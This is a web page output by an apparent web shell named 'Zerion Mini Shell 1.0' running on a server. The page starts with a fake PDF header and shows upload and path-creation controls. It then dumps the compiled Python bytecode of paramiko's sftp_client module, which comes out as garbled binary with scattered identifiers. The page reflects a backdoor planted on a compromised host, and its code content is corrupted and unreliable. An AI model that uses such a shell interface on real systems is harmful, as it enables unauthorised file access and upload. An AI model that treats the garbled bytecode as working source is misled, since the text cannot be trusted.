%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/
Upload File :
Create Path :
Current File : //proc/self/root/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pyo

�
��Abc@sddlmZddlZddlZddlZddlZddlZddlZddlm	Z	ddl
mZddlm
Z
ddlmZmZmZddlmZmZmZddlmZmZmZmZmZmZmZmZmZm Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)m*Z*m+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1m2Z2m3Z3m4Z4m5Z5dd	l6m7Z7dd
l8m9Z9ddl:m;Z;ddl<m=Z=d
�Z>dZ?dee=fd��YZ@de@fd��YZAdS(i����(thexlifyN(tutil(tChannel(tMessage(tINFOtDEBUGto777(tbtutlong(tBaseSFTPtCMD_OPENDIRt
CMD_HANDLEt	SFTPErrortCMD_READDIRtCMD_NAMEt	CMD_CLOSEtSFTP_FLAG_READtSFTP_FLAG_WRITEtSFTP_FLAG_CREATEtSFTP_FLAG_TRUNCtSFTP_FLAG_APPENDtSFTP_FLAG_EXCLtCMD_OPENt
CMD_REMOVEt
CMD_RENAMEt	CMD_MKDIRt	CMD_RMDIRtCMD_STATt	CMD_ATTRSt	CMD_LSTATtCMD_SYMLINKtCMD_SETSTATtCMD_READLINKtCMD_REALPATHt
CMD_STATUStCMD_EXTENDEDtSFTP_OKtSFTP_EOFtSFTP_NO_SUCH_FILEtSFTP_PERMISSION_DENIED(tSFTPAttributes(tSSHException(tSFTPFile(tClosingContextManagercCsUy|jd�SWn=ttfk
rPy|jd�SWqQtk
rL|SXnXdS(Ntasciisutf-8(tencodetUnicodeErrortAttributeErrortdecode(ts((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pyt_to_unicodeHs
t/t
SFTPClientcBs�eZd�Zed)d)d��Zd�Zd�Zd�Zdd�Z	dd�Z
ddd	�Zd
dd�ZeZ
d
�ZeZd�Zd�Zed�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd)d�Zd�Zd�Z dd)e!d�Z"d)e!d �Z#d)e!d!�Z$d)e!d"�Z%d#�Z&d$�Z'd)d%�Z(d&�Z)d'�Z*d(�Z+RS(*cCs�tj|�||_t|_d|_tj�|_d|_
tj�|_
t|�tkr�|jj�}tj|j�d�|_|j�|_ny|j�}Wntk
r�td��nX|jtdj|��dS(Nis.sftpsEOF during negotiations*Opened sftp connection (server version {})(R
t__init__tsocktFalsetultra_debugtrequest_numbert	threadingtLockt_locktNonet_cwdtweakreftWeakValueDictionaryt
_expectingttypeRt
get_transportRt
get_loggertget_log_channeltloggertget_hexdumpt
_send_versiontEOFErrorR*t_logRtformat(tselfR7t	transporttserver_version((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pyR6ds(

				
cCs?|jd|d|�}|dkr(dS|jd�||�S(Ntwindow_sizetmax_packet_sizetsftp(topen_sessionR>tinvoke_subsystem(tclsttRPRQtchan((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pytfrom_transport�s	
cGs�t|t�r6xl|D]}|j|||�qWnH|jdd�}tt|�j|d||jj�gt|��dS(Nt%s%%s
[chan %s] (t
isinstancetlistRKtreplacetsuperR5R7tget_name(RMtleveltmsgtargstm((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pyRK�s
cCs!|jtd�|jj�dS(Nssftp session closed.(RKRR7tclose(RM((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pyRc�scCs|jS(N(R7(RM((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pytget_channel�st.cCs#g|j|�D]}|j^qS(N(tlistdir_attrtfilename(RMtpathtf((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pytlistdir�scCsR|j|�}|jtdj|��|jt|�\}}|tkr[td��n|j�}g}x�t	r=y|jt
|�\}}Wntk
r�PnX|tkr�td��n|j
�}xit|�D][}|j�}|j�}	tj|||	�}
|dkr�|dkr�|j|
�q�q�WqpW|jt|�|S(Ns
listdir({!r})sExpected handlesExpected name responseRes..(t_adjust_cwdRKRRLt_requestRRR
t
get_binarytTrueRRJRtget_inttrangetget_textR)t	_from_msgtappendR(RMRhRVR`thandletfilelisttcounttiRgtlongnametattr((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pyRf�s.	
i2ccs�|j|�}|jtdj|��|jt|�\}}|tkr[td��n|j�}t	�}xQt
r�y"x<t|�D].}|jt
d�t|�}|j|�q�Wx�|D]�}|j�\}}	t|	�}|j�}
||
kr|tkr|j|�qn|j�}xat|�D]S}|j�}|j�}
tj|||
�}|dkr6|dkr6|Vq6q6Wq�Wt	�}Wqstk
r�|jt|�dSXqsWdS(Ns
listdir({!r})sExpected handleRes..(RkRKRRLRlRRR
t
get_stringR[RnRpt_async_requestRCR>RRst_read_packetRRoR#t_convert_statusRqR)RrRJR(RMRhtread_aheadsRVR`RttnumsRwtnumtpkt_datatnew_numRvRgRxRy((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pytlistdir_iters>		


tri����c	Csj|j|�}|jtdj||��d}d|ksId|krV|tO}nd|kszd|kszd|kr�|tO}nd|kr�|ttBO}nd|kr�|ttBO}nd|kr�|tt	BO}nt
�}|jt|||�\}}|t
kr td��n|j�}|jtd	j||tt|����t||||�S(
Nsopen({!r}, {!r})iR�t+twtatxsExpected handlesopen({!r}, {!r}) -> {}(RkRKRRLRRRRRRR)RlRRR
RmRRR+(	RMRgtmodetbufsizetimodet	attrblockRVR`Rt((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pytopenFs. 
$
	cCs<|j|�}|jtdj|��|jt|�dS(Nsremove({!r})(RkRKRRLRlR(RMRh((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pytremove�s	cCsQ|j|�}|j|�}|jtdj||��|jt||�dS(Nsrename({!r}, {!r})(RkRKRRLRlR(RMtoldpathtnewpath((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pytrename�scCsT|j|�}|j|�}|jtdj||��|jtd||�dS(Nsposix_rename({!r}, {!r})sposix-rename@openssh.com(RkRKRRLRlR$(RMR�R�((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pytposix_rename�s
cCsT|j|�}|jtdj||��t�}||_|jt||�dS(Nsmkdir({!r}, {!r})(RkRKRRLR)tst_modeRlR(RMRhR�Ry((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pytmkdir�s
			cCs<|j|�}|jtdj|��|jt|�dS(Nsrmdir({!r})(RkRKRRLRlR(RMRh((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pytrmdir�scCsh|j|�}|jtdj|��|jt|�\}}|tkr[td��ntj	|�S(Ns
stat({!r})sExpected attributes(
RkRKRRLRlRRR
R)Rr(RMRhRVR`((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pytstat�scCsh|j|�}|jtdj|��|jt|�\}}|tkr[td��ntj	|�S(Nslstat({!r})sExpected attributes(
RkRKRRLRlRRR
R)Rr(RMRhRVR`((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pytlstat�scCsN|j|�}|jtdj||��t|�}|jt||�dS(Nssymlink({!r}, {!r})(RkRKRRLRRlR(RMtsourcetdest((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pytsymlinkscCsT|j|�}|jtdj||��t�}||_|jt||�dS(Nschmod({!r}, {!r})(RkRKRRLR)R�RlR (RMRhR�Ry((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pytchmods
			cCsa|j|�}|jtdj|||��t�}|||_|_|jt||�dS(Nschown({!r}, {!r}, {!r})(	RkRKRRLR)tst_uidtst_gidRlR (RMRhtuidtgidRy((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pytchowns
	cCs�|j|�}|dkr6tj�tj�f}n|jtdj||��t�}|\|_|_|j	t
||�dS(Nsutime({!r}, {!r})(RkR>ttimeRKRRLR)tst_atimetst_mtimeRlR (RMRhttimesRy((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pytutime0s	cCsT|j|�}|jtdj||��t�}||_|jt||�dS(Nstruncate({!r}, {!r})(RkRKRRLR)tst_sizeRlR (RMRhtsizeRy((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pyttruncateFs
			cCs�|j|�}|jtdj|��|jt|�\}}|tkr[td��n|j�}|dkrwdS|dkr�tdj|���nt
|j��S(Nsreadlink({!r})sExpected name responseiisReadlink returned {} results(RkRKRRLRlR!RR
RoR>R3Rz(RMRhRVR`Rv((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pytreadlinkUs	cCs�|j|�}|jtdj|��|jt|�\}}|tkr[td��n|j�}|dkr�tdj|���n|j	�S(Nsnormalize({!r})sExpected name responseisRealpath returned {} results(
RkRKRRLRlR"RR
RoRq(RMRhRVR`Rv((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pyt	normalizejscCs�|dkrd|_dStj|j|�j�sdtj}t|djt	j
|�|���nt|j|��|_dS(Ns{}: {}(
R>R?R�tS_ISDIRR�terrnotENOTDIRR
RLtoststrerrorRR�(RMRhtcode((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pytchdir�s		'cCs|jot|j�S(N(R?R(RM((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pytgetcwd�s	cCsud}xhtrp|jd�}|j|�|t|�7}t|�dkrQPn|dk	r	|||�q	q	W|S(Nii�(RntreadtwritetlenR>(RMtreadertwritert	file_sizetcallbackR�tdata((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pyt_transfer_with_callback�s	
ic	
Cs�|j|d��8}|jt�|jd|d|d|d|�}WdQX|r�|j|�}|j|kr�tdj|j|���q�n	t�}|S(NtwbR�R�R�R�ssize mismatch in put!  {} != {}(	tfilet
set_pipelinedRnR�R�R�tIOErrorRLR)(	RMtflt
remotepathR�R�tconfirmtfrR�R2((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pytputfo�s
	!	c
CsGtj|�j}t|d�� }|j|||||�SWdQXdS(Ntrb(R�R�R�R�R�(RMt	localpathR�R�R�R�R�((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pytput�sc
Csi|j|�j}|j|d��?}|r=|j|�n|jd|d|d|d|�SWdQXdS(NR�R�R�R�R�(R�R�R�tprefetchR�(RMR�R�R�R�R�R�((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pytgetfo�s	c	Cspt|d��}|j||||�}WdQXtj|�}|j|krltdj|j|���ndS(NR�ssize mismatch in get!  {} != {}(R�R�R�R�R�R�RL(RMR�R�R�R�R�R�R2((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pytgetscGs(|jtd�||�}|j|�S(N(R{RCR>t_read_response(RMRVtargR�((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pyRl4scGs�|jj�z�t�}|j|j�xx|D]p}t|t�rU|j|�q0t|t�rt|j|�q0t|t	�r�|j
|�q0|j|�q0W|j}||j|<|jd7_Wd|jj
�X|j||�|S(Ni(R=tacquireRtadd_intR:RZR	t	add_int64tintR)t_packt
add_stringRBtreleaset_send_packet(RMtfileobjRVR�R`titemR�((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pyR{8s$
	
	
cCsKxDtrFy|j�\}}Wn(tk
rI}tdj|���nXt|�}|j�}|jj�zY||j	kr�|j
tdj|��|dkr�Pnwn|j	|}|j	|=Wd|jj
�X||kr|tkr|j|�n||fS|td�k	r3|j|||�n|dkrPqqWdS(NsServer connection dropped: {}sUnexpected response #{}(NN(RnR|RJR*RLRRoR=R�RBRKRR>R�R#R}RCt_async_response(RMtwaitforRVR�teR`R�R�((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pyR�Qs4	


cCs4x-||jj�kr/|j�|j�qWdS(N(RBtvaluesR�t_check_exception(RMR�((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pyt_finish_responsesvs
cCs�|j�}|j�}|tkr(dS|tkrCt|��nN|tkrdttj|��n-|t	kr�ttj
|��nt|��dS(N(RoRqR%R&RJR'R�R�tENOENTR(tEACCES(RMR`R�ttext((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pyR}{scCskt|�}|jdkr|St|�rB|dd!tkrB|S|jtkr\|j|S|jt|S(Nii(RR?R>R�tb_slash(RMRh((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pyRk�sN(,t__name__t
__module__R6tclassmethodR>RXRKRcRdRjRfR�R�R�R�tunlinkR�R�RR�R�R�R�R�R�R�R�R�R�R�R�R�R�RnR�R�R�R�RlR{R�R�R}Rk(((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pyR5ZsN
	(					*@;	
			
											* 		%		tSFTPcBseZRS((R�R�(((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pyR��s(BtbinasciiRR�R�R�R;R�R@tparamikoRtparamiko.channelRtparamiko.messageRtparamiko.commonRRRtparamiko.py3compatRRR	t
paramiko.sftpR
RRR
RRRRRRRRRRRRRRRRRRR R!R"R#R$R%R&R'R(tparamiko.sftp_attrR)tparamiko.ssh_exceptionR*tparamiko.sftp_fileR+t
paramiko.utilR,R3R�R5R�(((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_client.pyt<module>s.�"	���F

Zerion Mini Shell 1.0